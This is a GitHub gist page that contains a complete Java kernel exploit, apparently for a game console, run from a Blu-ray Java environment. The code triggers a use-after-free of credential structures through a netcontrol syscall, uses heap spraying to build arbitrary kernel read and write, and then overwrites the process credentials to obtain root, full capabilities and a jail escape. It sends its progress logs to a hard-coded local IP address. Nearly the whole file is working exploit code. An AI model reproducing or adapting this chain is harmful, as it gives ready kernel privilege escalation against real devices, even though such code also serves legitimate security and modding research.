Skip to content

Instantly share code, notes, and snippets.

@TheOfficialFloW
Created November 2, 2025 12:49
/*
* Copyright (C) 2025 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.kernel;
import com.bdjb.api.API;
import com.bdjb.api.Buffer;
import com.bdjb.api.Int8;
import com.bdjb.api.Int32;
import com.bdjb.api.Int32Array;
import com.bdjb.api.Int64;
import com.bdjb.api.KernelAPI;
import java.io.PrintWriter;
import java.net.Socket;
public class ExploitNetControlImpl implements ExploitKernelInterface {
private static final String DUP_SYMBOL = "dup";
private static final String CLOSE_SYMBOL = "close";
private static final String READ_SYMBOL = "read";
private static final String READV_SYMBOL = "readv";
private static final String WRITE_SYMBOL = "write";
private static final String WRITEV_SYMBOL = "writev";
private static final String IOCTL_SYMBOL = "ioctl";
private static final String PIPE_SYMBOL = "pipe";
private static final String KQUEUE_SYMBOL = "kqueue";
private static final String SOCKET_SYMBOL = "socket";
private static final String SOCKETPAIR_SYMBOL = "socketpair";
private static final String RECVMSG_SYMBOL = "recvmsg";
private static final String GETSOCKOPT_SYMBOL = "getsockopt";
private static final String SETSOCKOPT_SYMBOL = "setsockopt";
private static final String SETUID_SYMBOL = "setuid";
private static final String GETPID_SYMBOL = "getpid";
private static final String SCHED_YIELD_SYMBOL = "sched_yield";
private static final String CPUSET_SETAFFINITY_SYMBOL = "cpuset_setaffinity";
private static final String RTPRIO_THREAD_SYMBOL = "rtprio_thread";
private static final String SYS_NETCONTROL_SYMBOL = "__sys_netcontrol";
private static final int KERNEL_PID = 0;
private static final long SYSCORE_AUTHID = 0x4800000000000007L;
private static final long FIOSETOWN = 0x8004667CL;
private static final int PAGE_SIZE = 0x4000;
private static final int NET_CONTROL_NETEVENT_SET_QUEUE = 0x20000003;
private static final int NET_CONTROL_NETEVENT_CLEAR_QUEUE = 0x20000007;
private static final int AF_UNIX = 1;
private static final int AF_INET6 = 28;
private static final int SOCK_STREAM = 1;
private static final int IPPROTO_IPV6 = 41;
private static final int SO_SNDBUF = 0x1001;
private static final int SOL_SOCKET = 0xffff;
private static final int IPV6_RTHDR = 51;
private static final int IPV6_RTHDR_TYPE_0 = 0;
private static final int RTP_PRIO_REALTIME = 2;
private static final int RTP_SET = 1;
private static final int UIO_READ = 0;
private static final int UIO_WRITE = 1;
private static final int UIO_SYSSPACE = 1;
private static final int CPU_LEVEL_WHICH = 3;
private static final int CPU_WHICH_TID = 1;
private static final int IOV_SIZE = 0x10;
private static final int CPU_SET_SIZE = 0x10;
private static final int PIPEBUF_SIZE = 0x18;
private static final int MSG_HDR_SIZE = 0x30;
private static final int FILEDESCENT_SIZE = 0x30;
private static final int UCRED_SIZE = 0x168;
private static final int RTHDR_TAG = 0x13370000;
private static final int UIO_IOV_NUM = 0x14;
private static final int MSG_IOV_NUM = 0x17;
private static final int IPV6_SOCK_NUM = 64;
private static final int IOV_THREAD_NUM = 4;
private static final int UIO_THREAD_NUM = 4;
private static final int COMMAND_UIO_READ = 0;
private static final int COMMAND_UIO_WRITE = 1;
private static final int MAIN_CORE = 11;
private static final String LOG_IP = "192.168.1.53";
private static final int LOG_PORT = 1337;
private static final API api;
private static final KernelAPI kapi = KernelAPI.getInstance();
private static PrintWriter out;
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
private final long dup;
private final long close;
private final long read;
private final long readv;
private final long write;
private final long writev;
private final long ioctl;
private final long pipe;
private final long kqueue;
private final long socket;
private final long socketpair;
private final long recvmsg;
private final long getsockopt;
private final long setsockopt;
private final long setuid;
private final long getpid;
private final long sched_yield;
private final long cpuset_setaffinity;
private final long rtprio_thread;
private final long __sys_netcontrol;
private int[] twins = new int[2];
private int[] triplets = new int[3];
private int[] ipv6Socks = new int[IPV6_SOCK_NUM];
private Buffer sprayRthdr = new Buffer(UCRED_SIZE);
private int sprayRthdrLen;
private Buffer leakRthdr = new Buffer(UCRED_SIZE);
private Int32 leakRthdrLen = new Int32();
private Buffer msg = new Buffer(MSG_HDR_SIZE);
private Buffer msgIov = new Buffer(MSG_IOV_NUM * IOV_SIZE);
private Buffer uioIovRead = new Buffer(UIO_IOV_NUM * IOV_SIZE);
private Buffer uioIovWrite = new Buffer(UIO_IOV_NUM * IOV_SIZE);
private Int32Array uioSs = new Int32Array(2);
private Int32Array iovSs = new Int32Array(2);
private IovThread[] iovThreads = new IovThread[IOV_THREAD_NUM];
private UioThread[] uioThreads = new UioThread[UIO_THREAD_NUM];
private WorkerState iovState = new WorkerState(IOV_THREAD_NUM);
private WorkerState uioState = new WorkerState(UIO_THREAD_NUM);
private int uafSock;
private int uioSs0;
private int uioSs1;
private int iovSs0;
private int iovSs1;
private long kq_fdp;
private long fdt_ofiles;
private long allproc;
private Buffer tmp = new Buffer(PAGE_SIZE);
public ExploitNetControlImpl() {
dup = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, DUP_SYMBOL);
close = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, CLOSE_SYMBOL);
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
readv = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READV_SYMBOL);
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
writev = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITEV_SYMBOL);
ioctl = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, IOCTL_SYMBOL);
pipe = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, PIPE_SYMBOL);
kqueue = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, KQUEUE_SYMBOL);
socket = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SOCKET_SYMBOL);
socketpair = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SOCKETPAIR_SYMBOL);
recvmsg = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, RECVMSG_SYMBOL);
getsockopt = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, GETSOCKOPT_SYMBOL);
setsockopt = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SETSOCKOPT_SYMBOL);
setuid = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SETUID_SYMBOL);
getpid = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, GETPID_SYMBOL);
sched_yield = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCHED_YIELD_SYMBOL);
cpuset_setaffinity = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, CPUSET_SETAFFINITY_SYMBOL);
rtprio_thread = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, RTPRIO_THREAD_SYMBOL);
__sys_netcontrol = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SYS_NETCONTROL_SYMBOL);
if (dup == 0
|| close == 0
|| read == 0
|| readv == 0
|| write == 0
|| writev == 0
|| ioctl == 0
|| pipe == 0
|| kqueue == 0
|| socket == 0
|| socketpair == 0
|| recvmsg == 0
|| getsockopt == 0
|| setsockopt == 0
|| setuid == 0
|| getpid == 0
|| sched_yield == 0
|| cpuset_setaffinity == 0
|| rtprio_thread == 0
|| __sys_netcontrol == 0) {
throw new IllegalStateException("symbols not found");
}
// Prepare spray buffer.
sprayRthdrLen = buildRthdr(sprayRthdr, UCRED_SIZE);
// Prepare msg iov buffer.
msg.putLong(0x10, msgIov.address()); // msg_iov
msg.putLong(0x18, MSG_IOV_NUM); // msg_iovlen
Buffer dummyBuffer = new Buffer(0x1000);
dummyBuffer.fill((byte) 0x41);
uioIovRead.putLong(0x00, dummyBuffer.address());
uioIovWrite.putLong(0x00, dummyBuffer.address());
}
public static void log(String msg) {
out.write(msg + "\n");
out.flush();
}
private int dup(int fd) {
return (int) api.call(dup, fd);
}
private int close(int fd) {
return (int) api.call(close, fd);
}
private long read(int fd, Buffer buf, long nbytes) {
return api.call(read, fd, buf != null ? buf.address() : 0, nbytes);
}
private long readv(int fd, Buffer iov, int iovcnt) {
return api.call(readv, fd, iov != null ? iov.address() : 0, iovcnt);
}
private long write(int fd, Buffer buf, long nbytes) {
return api.call(write, fd, buf != null ? buf.address() : 0, nbytes);
}
private long writev(int fd, Buffer iov, int iovcnt) {
return api.call(writev, fd, iov != null ? iov.address() : 0, iovcnt);
}
private int ioctl(int fd, long request, long arg0) {
return (int) api.call(ioctl, fd, request, arg0);
}
private int pipe(Int32Array fildes) {
return (int) api.call(pipe, fildes != null ? fildes.address() : 0);
}
private int kqueue() {
return (int) api.call(kqueue);
}
private int socket(int domain, int type, int protocol) {
return (int) api.call(socket, domain, type, protocol);
}
private int socketpair(int domain, int type, int protocol, Int32Array sv) {
return (int) api.call(socketpair, domain, type, protocol, sv != null ? sv.address() : 0);
}
private int recvmsg(int s, Buffer msg, int flags) {
return (int) api.call(recvmsg, s, msg != null ? msg.address() : 0, flags);
}
private int getsockopt(int s, int level, int optname, Buffer optval, Int32 optlen) {
return (int)
api.call(
getsockopt,
s,
level,
optname,
optval != null ? optval.address() : 0,
optlen != null ? optlen.address() : 0);
}
private int setsockopt(int s, int level, int optname, Buffer optval, int optlen) {
return (int)
api.call(setsockopt, s, level, optname, optval != null ? optval.address() : 0, optlen);
}
private int setuid(int uid) {
return (int) api.call(setuid, uid);
}
private int getpid() {
return (int) api.call(getpid);
}
private int sched_yield() {
return (int) api.call(sched_yield);
}
private int cpuset_setaffinity(int level, int which, long id, long setsize, Buffer mask) {
return (int)
api.call(cpuset_setaffinity, level, which, id, setsize, mask != null ? mask.address() : 0);
}
private int rtprio_thread(int function, int lwpid, long rtp) {
return (int) api.call(rtprio_thread, function, lwpid, rtp);
}
private int __sys_netcontrol(int ifindex, int cmd, Buffer buf, int size) {
return (int) api.call(__sys_netcontrol, ifindex, cmd, buf != null ? buf.address() : 0, size);
}
private int buildRthdr(Buffer buf, int size) {
int len = ((size >> 3) - 1) & ~1;
buf.putByte(0x00, (byte) 0); // ip6r_nxt
buf.putByte(0x01, (byte) len); // ip6r_len
buf.putByte(0x02, (byte) IPV6_RTHDR_TYPE_0); // ip6r_type
buf.putByte(0x03, (byte) (len >> 1)); // ip6r_segleft
return (len + 1) << 3;
}
private int getRthdr(int s, Buffer buf, Int32 len) {
return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}
private int setRthdr(int s, Buffer buf, int len) {
return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}
private int freeRthdr(int s) {
return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, null, 0);
}
private int cpusetSetAffinity(int core) {
Buffer mask = new Buffer(CPU_SET_SIZE);
mask.putShort(0x00, (short) (1 << core));
return cpuset_setaffinity(
CPU_LEVEL_WHICH, CPU_WHICH_TID, 0xFFFFFFFFFFFFFFFFL, CPU_SET_SIZE, mask);
}
private int rtprioThread(int value) {
Buffer prio = new Buffer(0x4);
prio.putShort(0x00, (short) RTP_PRIO_REALTIME);
prio.putShort(0x02, (short) value);
return rtprio_thread(RTP_SET, 0, prio.address());
}
private void findTwins() {
while (true) {
for (int i = 0; i < ipv6Socks.length; i++) {
sprayRthdr.putInt(0x04, RTHDR_TAG | i);
setRthdr(ipv6Socks[i], sprayRthdr, sprayRthdrLen);
}
for (int i = 0; i < ipv6Socks.length; i++) {
leakRthdrLen.set(Int64.SIZE);
getRthdr(ipv6Socks[i], leakRthdr, leakRthdrLen);
int val = leakRthdr.getInt(0x04);
int j = val & 0xFFFF;
if ((val & 0xFFFF0000) == RTHDR_TAG && i != j) {
twins[0] = i;
twins[1] = j;
return;
}
}
}
}
private int findTriplet(int master, int other) {
while (true) {
for (int i = 0; i < ipv6Socks.length; i++) {
if (i == master || i == other) {
continue;
}
sprayRthdr.putInt(0x04, RTHDR_TAG | i);
setRthdr(ipv6Socks[i], sprayRthdr, sprayRthdrLen);
}
for (int i = 0; i < ipv6Socks.length; i++) {
if (i == master || i == other) {
continue;
}
leakRthdrLen.set(Int64.SIZE);
getRthdr(ipv6Socks[master], leakRthdr, leakRthdrLen);
int val = leakRthdr.getInt(0x04);
int j = val & 0xFFFF;
if ((val & 0xFFFF0000) == RTHDR_TAG && j != master && j != other) {
return j;
}
}
}
}
private void triggerUcredTripleFree() {
Buffer setBuf = new Buffer(8);
Buffer clearBuf = new Buffer(8);
// Prepare msg iov spray. Set 1 as iov_base as it will be interpreted as cr_refcnt.
msgIov.putLong(0x00, 1); // iov_base
msgIov.putLong(0x08, Int8.SIZE); // iov_len
// Create dummy socket to be registered and then closed.
int dummySock = socket(AF_UNIX, SOCK_STREAM, 0);
// Register dummy socket.
setBuf.putInt(0x00, dummySock);
__sys_netcontrol(-1, NET_CONTROL_NETEVENT_SET_QUEUE, setBuf, setBuf.size());
// Close the dummy socket.
close(dummySock);
// Allocate a new ucred.
setuid(1);
// Reclaim the file descriptor.
uafSock = socket(AF_UNIX, SOCK_STREAM, 0);
// Free the previous ucred. Now uafSock's cr_refcnt of f_cred is 1.
setuid(1);
// Unregister dummy socket and free the file and ucred.
clearBuf.putInt(0x00, uafSock);
__sys_netcontrol(-1, NET_CONTROL_NETEVENT_CLEAR_QUEUE, clearBuf, clearBuf.size());
// Set cr_refcnt back to 1.
for (int i = 0; i < 32; i++) {
// Reclaim with iov.
iovState.signalWork(0);
sched_yield();
// Release buffers.
write(iovSs1, tmp, Int8.SIZE);
iovState.waitForFinished();
read(iovSs0, tmp, Int8.SIZE);
}
// Double free ucred.
// Note: Only dup works because it does not check f_hold.
close(dup(uafSock));
// Find twins.
findTwins();
log("[*] Triple freeing...");
// Free one.
freeRthdr(ipv6Socks[twins[1]]);
// Set cr_refcnt back to 1.
while (true) {
// Reclaim with iov.
iovState.signalWork(0);
sched_yield();
leakRthdrLen.set(Int64.SIZE);
getRthdr(ipv6Socks[twins[0]], leakRthdr, leakRthdrLen);
if (leakRthdr.getInt(0x00) == 1) {
break;
}
// Release iov spray.
write(iovSs1, tmp, Int8.SIZE);
iovState.waitForFinished();
read(iovSs0, tmp, Int8.SIZE);
}
triplets[0] = twins[0];
// Triple free ucred.
close(dup(uafSock));
// Find triplet.
triplets[1] = findTriplet(triplets[0], -1);
// Release iov spray.
write(iovSs1, tmp, Int8.SIZE);
// Find triplet.
triplets[2] = findTriplet(triplets[0], triplets[1]);
iovState.waitForFinished();
read(iovSs0, tmp, Int8.SIZE);
}
private void leakKqueue() {
log("[*] Leaking kqueue...");
// Free one.
freeRthdr(ipv6Socks[triplets[1]]);
// Leak kqueue.
int kq = 0;
while (true) {
kq = kqueue();
// Leak with other rthdr.
leakRthdrLen.set(0x100);
getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen);
if (leakRthdr.getLong(0x08) == 0x1430000) {
break;
}
close(kq);
}
kq_fdp = leakRthdr.getLong(0xA8);
log("[+] kq_fdp: " + Long.toHexString(kq_fdp));
// Close kqueue to free buffer.
close(kq);
// Find triplet.
triplets[1] = findTriplet(triplets[0], triplets[2]);
}
private void buildUio(Buffer uio, long uio_iov, long uio_td, boolean read, long addr, long size) {
uio.putLong(0x00, uio_iov); // uio_iov
uio.putLong(0x08, UIO_IOV_NUM); // uio_iovcnt
uio.putLong(0x10, 0xFFFFFFFFFFFFFFFFL); // uio_offset
uio.putLong(0x18, size); // uio_resid
uio.putInt(0x20, UIO_SYSSPACE); // uio_segflg
uio.putInt(0x24, read ? UIO_WRITE : UIO_READ); // uio_segflg
uio.putLong(0x28, uio_td); // uio_td
uio.putLong(0x30, addr); // iov_base
uio.putLong(0x38, size); // iov_len
}
private Buffer kreadSlow(long addr, int size) {
// Prepare leak buffers.
Buffer[] leakBuffers = new Buffer[UIO_THREAD_NUM];
for (int i = 0; i < UIO_THREAD_NUM; i++) {
leakBuffers[i] = new Buffer(size);
}
// Set send buf size.
Int32 bufSize = new Int32(size);
setsockopt(uioSs1, SOL_SOCKET, SO_SNDBUF, bufSize, bufSize.size());
// Fill queue.
write(uioSs1, tmp, size);
// Set iov length
uioIovRead.putLong(0x08, size);
// Free one.
freeRthdr(ipv6Socks[triplets[1]]);
// Reclaim with uio.
while (true) {
uioState.signalWork(COMMAND_UIO_READ);
sched_yield();
// Leak with other rthdr.
leakRthdrLen.set(0x10);
getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen);
if (leakRthdr.getInt(0x08) == UIO_IOV_NUM) {
break;
}
// Wake up all threads.
read(uioSs0, tmp, size);
for (int i = 0; i < UIO_THREAD_NUM; i++) {
read(uioSs0, leakBuffers[i], leakBuffers[i].size());
}
uioState.waitForFinished();
// Fill queue.
write(uioSs1, tmp, size);
}
long uio_iov = leakRthdr.getLong(0x00);
// Prepare uio reclaim buffer.
buildUio(msgIov, uio_iov, 0, true, addr, size);
// Free second one.
freeRthdr(ipv6Socks[triplets[2]]);
// Reclaim uio with iov.
while (true) {
// Reclaim with iov.
iovState.signalWork(0);
sched_yield();
// Leak with other rthdr.
leakRthdrLen.set(0x40);
getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen);
if (leakRthdr.getInt(0x20) == UIO_SYSSPACE) {
break;
}
// Release iov spray.
write(iovSs1, tmp, Int8.SIZE);
iovState.waitForFinished();
read(iovSs0, tmp, Int8.SIZE);
}
// Wake up all threads.
read(uioSs0, tmp, size);
// Read the results now.
Buffer leakBuffer = null;
// Get leak.
for (int i = 0; i < UIO_THREAD_NUM; i++) {
read(uioSs0, leakBuffers[i], leakBuffers[i].size());
if (leakBuffers[i].getLong(0x00) != 0x4141414141414141L) {
// Find triplet.
triplets[1] = findTriplet(triplets[0], -1);
leakBuffer = leakBuffers[i];
}
}
uioState.waitForFinished();
// Release iov spray.
write(iovSs1, tmp, Int8.SIZE);
// Find triplet.
triplets[2] = findTriplet(triplets[0], triplets[1]);
iovState.waitForFinished();
read(iovSs0, tmp, Int8.SIZE);
return leakBuffer;
}
private void kwriteSlow(long addr, Buffer buffer) {
// Set send buf size.
Int32 bufSize = new Int32(buffer.size());
setsockopt(uioSs1, SOL_SOCKET, SO_SNDBUF, bufSize, bufSize.size());
// Set iov length.
uioIovWrite.putLong(0x08, buffer.size());
// Free first triplet.
freeRthdr(ipv6Socks[triplets[1]]);
// Reclaim with uio.
while (true) {
uioState.signalWork(COMMAND_UIO_WRITE);
sched_yield();
// Leak with other rthdr.
leakRthdrLen.set(0x10);
getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen);
if (leakRthdr.getInt(0x08) == UIO_IOV_NUM) {
break;
}
// Wake up all threads.
for (int i = 0; i < UIO_THREAD_NUM; i++) {
write(uioSs1, buffer, buffer.size());
}
uioState.waitForFinished();
}
long uio_iov = leakRthdr.getLong(0x00);
// Prepare uio reclaim buffer.
buildUio(msgIov, uio_iov, 0, false, addr, buffer.size());
// Free second one.
freeRthdr(ipv6Socks[triplets[2]]);
// Reclaim uio with iov.
while (true) {
// Reclaim with iov.
iovState.signalWork(0);
sched_yield();
// Leak with other rthdr.
leakRthdrLen.set(0x40);
getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen);
if (leakRthdr.getInt(0x20) == UIO_SYSSPACE) {
break;
}
// Release iov spray.
write(iovSs1, tmp, Int8.SIZE);
iovState.waitForFinished();
read(iovSs0, tmp, Int8.SIZE);
}
// Corrupt data.
for (int i = 0; i < UIO_THREAD_NUM; i++) {
write(uioSs1, buffer, buffer.size());
}
// Find triplet.
triplets[1] = findTriplet(triplets[0], -1);
uioState.waitForFinished();
// Release iov spray.
write(iovSs1, tmp, Int8.SIZE);
// Find triplet.
triplets[2] = findTriplet(triplets[0], triplets[1]);
iovState.waitForFinished();
read(iovSs0, tmp, Int8.SIZE);
}
private long kreadSlow64(long address) {
return kreadSlow(address, Int64.SIZE).getLong(0x00);
}
private long fget(int fd) {
return kapi.kread64(fdt_ofiles + fd * FILEDESCENT_SIZE);
}
private long findAllProc() {
Int32Array pipeFd = new Int32Array(2);
pipe(pipeFd);
Int32 currPid = new Int32();
currPid.set(getpid());
ioctl(pipeFd.get(0), FIOSETOWN, currPid.address());
long fp = fget(pipeFd.get(0));
long f_data = kapi.kread64(fp + 0x00);
long pipe_sigio = kapi.kread64(f_data + 0xd8);
long p = kapi.kread64(pipe_sigio);
while ((p & 0xFFFFFFFF00000000L) != 0xFFFFFFFF00000000L) {
p = kapi.kread64(p + 0x08); // p_list.le_prev
}
close(pipeFd.get(1));
close(pipeFd.get(0));
return p;
}
private long pfind(int pid) {
long p = kapi.kread64(allproc);
while (p != 0) {
if (kapi.kread32(p + 0xbc) == pid) {
break;
}
p = kapi.kread64(p + 0x00); // p_list.le_next
}
return p;
}
private void fhold(long fp) {
kapi.kwrite32(fp + 0x28, kapi.kread32(fp + 0x28) + 1); // f_count
}
private void removeRthrFromSocket(int fd) {
long fp = fget(fd);
long f_data = kapi.kread64(fp + 0x00);
long so_pcb = kapi.kread64(f_data + 0x18);
long in6p_outputopts = kapi.kread64(so_pcb + 0x120);
kapi.kwrite64(in6p_outputopts + 0x70, 0); // ip6po_rhi_rthdr
}
private void removeUafFile() {
long uafFile = fget(uafSock);
log("[+] uafFile: " + Long.toHexString(uafFile));
// Remove uaf sock.
kapi.kwrite64(fdt_ofiles + uafSock * FILEDESCENT_SIZE, 0);
// Remove triple freed file from uaf sock.
int removed = 0;
Int32Array ss = new Int32Array(2);
for (int i = 0; i < 0x1000; i++) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
if (fget(s) == uafFile) {
kapi.kwrite64(fdt_ofiles + s * FILEDESCENT_SIZE, 0);
removed++;
}
close(s);
if (removed == 3) {
log("[+] Cleaned up uafFile after iterations: " + i);
break;
}
}
}
private long getRootVnode() {
long p = pfind(KERNEL_PID);
long p_fd = kapi.kread64(p + 0x48);
long rootvnode = kapi.kread64(p_fd + 0x08);
return rootvnode;
}
private long getPrison0() {
long p = pfind(KERNEL_PID);
long p_ucred = kapi.kread64(p + 0x40);
long prison0 = kapi.kread64(p_ucred + 0x30);
return prison0;
}
private void jailbreak() {
long p = pfind(getpid());
// Patch credentials and capabilities.
long prison0 = getPrison0();
long p_ucred = kapi.kread64(p + 0x40);
kapi.kwrite32(p_ucred + 0x04, 0); // cr_uid
kapi.kwrite32(p_ucred + 0x08, 0); // cr_ruid
kapi.kwrite32(p_ucred + 0x0C, 0); // cr_svuid
kapi.kwrite32(p_ucred + 0x10, 1); // cr_ngroups
kapi.kwrite32(p_ucred + 0x14, 0); // cr_rgid
kapi.kwrite32(p_ucred + 0x18, 0); // cr_svgid
kapi.kwrite64(p_ucred + 0x30, prison0); // cr_prison
kapi.kwrite64(p_ucred + 0x58, SYSCORE_AUTHID); // cr_sceAuthId
kapi.kwrite64(p_ucred + 0x60, 0xFFFFFFFFFFFFFFFFL); // cr_sceCaps[0]
kapi.kwrite64(p_ucred + 0x68, 0xFFFFFFFFFFFFFFFFL); // cr_sceCaps[1]
kapi.kwrite8(p_ucred + 0x83, (byte) 0x80); // cr_sceAttr[0]
// Allow root file system access.
long rootvnode = getRootVnode();
long p_fd = kapi.kread64(p + 0x48);
kapi.kwrite64(p_fd + 0x08, rootvnode); // fd_cdir
kapi.kwrite64(p_fd + 0x10, rootvnode); // fd_rdir
kapi.kwrite64(p_fd + 0x18, 0); // fd_jdir
// Allow syscall from everywhere.
long p_dynlib = kapi.kread64(p + 0x3e8);
kapi.kwrite64(p_dynlib + 0xf0, 0); // start
kapi.kwrite64(p_dynlib + 0xf8, 0xFFFFFFFFFFFFFFFFL); // end
// Allow dlsym.
long dynlib_eboot = kapi.kread64(p_dynlib + 0x00);
long eboot_segments = kapi.kread64(dynlib_eboot + 0x40);
kapi.kwrite64(eboot_segments + 0x08, 0); // addr
kapi.kwrite64(eboot_segments + 0x10, 0xFFFFFFFFFFFFFFFFL); // size
}
private void setup() {
// Create socket pair for uio spraying.
socketpair(AF_UNIX, SOCK_STREAM, 0, uioSs);
uioSs0 = uioSs.get(0);
uioSs1 = uioSs.get(1);
// Create socket pair for iov spraying.
socketpair(AF_UNIX, SOCK_STREAM, 0, iovSs);
iovSs0 = iovSs.get(0);
iovSs1 = iovSs.get(1);
// Create iov threads.
for (int i = 0; i < IOV_THREAD_NUM; i++) {
iovThreads[i] = new IovThread(iovState);
iovThreads[i].start();
}
// Create uio threads.
for (int i = 0; i < UIO_THREAD_NUM; i++) {
uioThreads[i] = new UioThread(uioState);
uioThreads[i].start();
}
// Set up sockets for spraying.
for (int i = 0; i < ipv6Socks.length; i++) {
ipv6Socks[i] = socket(AF_INET6, SOCK_STREAM, 0);
}
// Initialize pktopts.
for (int i = 0; i < ipv6Socks.length; i++) {
freeRthdr(ipv6Socks[i]);
}
}
private void cleanup() throws InterruptedException {
// Close all files.
for (int i = 0; i < ipv6Socks.length; i++) {
close(ipv6Socks[i]);
}
close(uioSs1);
close(uioSs0);
close(iovSs1);
close(iovSs0);
// Stop uio threads.
for (int i = 0; i < UIO_THREAD_NUM; i++) {
uioThreads[i].interrupt();
uioThreads[i].join();
}
// Stop iov threads.
for (int i = 0; i < IOV_THREAD_NUM; i++) {
iovThreads[i].interrupt();
iovThreads[i].join();
}
}
public boolean trigger() throws Exception {
Socket s = new Socket(LOG_IP, LOG_PORT);
out = new PrintWriter(s.getOutputStream(), true);
cpusetSetAffinity(MAIN_CORE);
rtprioThread(256);
setup();
// Trigger vulnerability.
triggerUcredTripleFree();
// Leak pointers from kqueue.
leakKqueue();
// Leak fd_files from kq_fdp.
long fd_files = kreadSlow64(kq_fdp);
fdt_ofiles = fd_files + 0x08;
log("[+] fdt_ofiles: " + Long.toHexString(fdt_ofiles));
long masterRpipeFile =
kreadSlow64(fdt_ofiles + kapi.getMasterPipeFd().get(0) * FILEDESCENT_SIZE);
log("[+] masterRpipeFile: " + Long.toHexString(masterRpipeFile));
long victimRpipeFile =
kreadSlow64(fdt_ofiles + kapi.getVictimPipeFd().get(0) * FILEDESCENT_SIZE);
log("[+] victimRpipeFile: " + Long.toHexString(victimRpipeFile));
long masterRpipeData = kreadSlow64(masterRpipeFile + 0x00);
log("[+] masterRpipeData: " + Long.toHexString(masterRpipeData));
long victimRpipeData = kreadSlow64(victimRpipeFile + 0x00);
log("[+] victimRpipeData: " + Long.toHexString(victimRpipeData));
// Corrupt pipebuf of masterRpipeFd.
Buffer masterPipebuf = new Buffer(PIPEBUF_SIZE);
masterPipebuf.putInt(0x00, 0); // cnt
masterPipebuf.putInt(0x04, 0); // in
masterPipebuf.putInt(0x08, 0); // out
masterPipebuf.putInt(0x0C, PAGE_SIZE); // size
masterPipebuf.putLong(0x10, victimRpipeData); // buffer
kwriteSlow(masterRpipeData, masterPipebuf);
log("[+] Arbitrary R/W achieved.");
// Increase reference counts for the pipes.
fhold(fget(kapi.getMasterPipeFd().get(0)));
fhold(fget(kapi.getMasterPipeFd().get(1)));
fhold(fget(kapi.getVictimPipeFd().get(0)));
fhold(fget(kapi.getVictimPipeFd().get(1)));
// Remove rthdr pointers from triplets.
for (int i = 0; i < triplets.length; i++) {
removeRthrFromSocket(ipv6Socks[triplets[i]]);
}
// Remove triple freed file from free list.
removeUafFile();
// Find allproc.
allproc = findAllProc();
log("[+] allproc: " + Long.toHexString(allproc));
kapi.setAllProc(allproc);
// Jailbreak.
jailbreak();
cleanup();
s.close();
return true;
}
class WorkerState {
private final int totalWorkers;
private int workersStartedWork = 0;
private int workersFinishedWork = 0;
private int workCommand = -1;
public WorkerState(int totalWorkers) {
this.totalWorkers = totalWorkers;
}
public synchronized void signalWork(int command) {
workersStartedWork = 0;
workersFinishedWork = 0;
workCommand = command;
notifyAll();
while (workersStartedWork < totalWorkers) {
try {
wait();
} catch (InterruptedException e) {
// Ignore.
}
}
}
public synchronized void waitForFinished() {
while (workersFinishedWork < totalWorkers) {
try {
wait();
} catch (InterruptedException e) {
// Ignore.
}
}
workCommand = -1;
}
public synchronized int waitForWork() throws InterruptedException {
while (workCommand == -1 || workersFinishedWork != 0) {
wait();
}
workersStartedWork++;
if (workersStartedWork == totalWorkers) {
notifyAll();
}
return workCommand;
}
public synchronized void signalFinished() {
workersFinishedWork++;
if (workersFinishedWork == totalWorkers) {
notifyAll();
}
}
}
class IovThread extends Thread {
private final WorkerState state;
public IovThread(WorkerState state) {
this.state = state;
}
public void run() {
cpusetSetAffinity(MAIN_CORE);
rtprioThread(256);
try {
while (true) {
state.waitForWork();
// Allocate iov and block thread.
recvmsg(iovSs0, msg, 0);
state.signalFinished();
}
} catch (InterruptedException e) {
// Ignore.
}
}
}
class UioThread extends Thread {
private final WorkerState state;
public UioThread(WorkerState state) {
this.state = state;
}
public void run() {
cpusetSetAffinity(MAIN_CORE);
rtprioThread(256);
try {
while (true) {
int command = state.waitForWork();
// Allocate uio and block thread.
if (command == COMMAND_UIO_READ) {
writev(uioSs1, uioIovRead, UIO_IOV_NUM);
} else if (command == COMMAND_UIO_WRITE) {
readv(uioSs0, uioIovWrite, UIO_IOV_NUM);
}
state.signalFinished();
}
} catch (InterruptedException e) {
// Ignore.
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment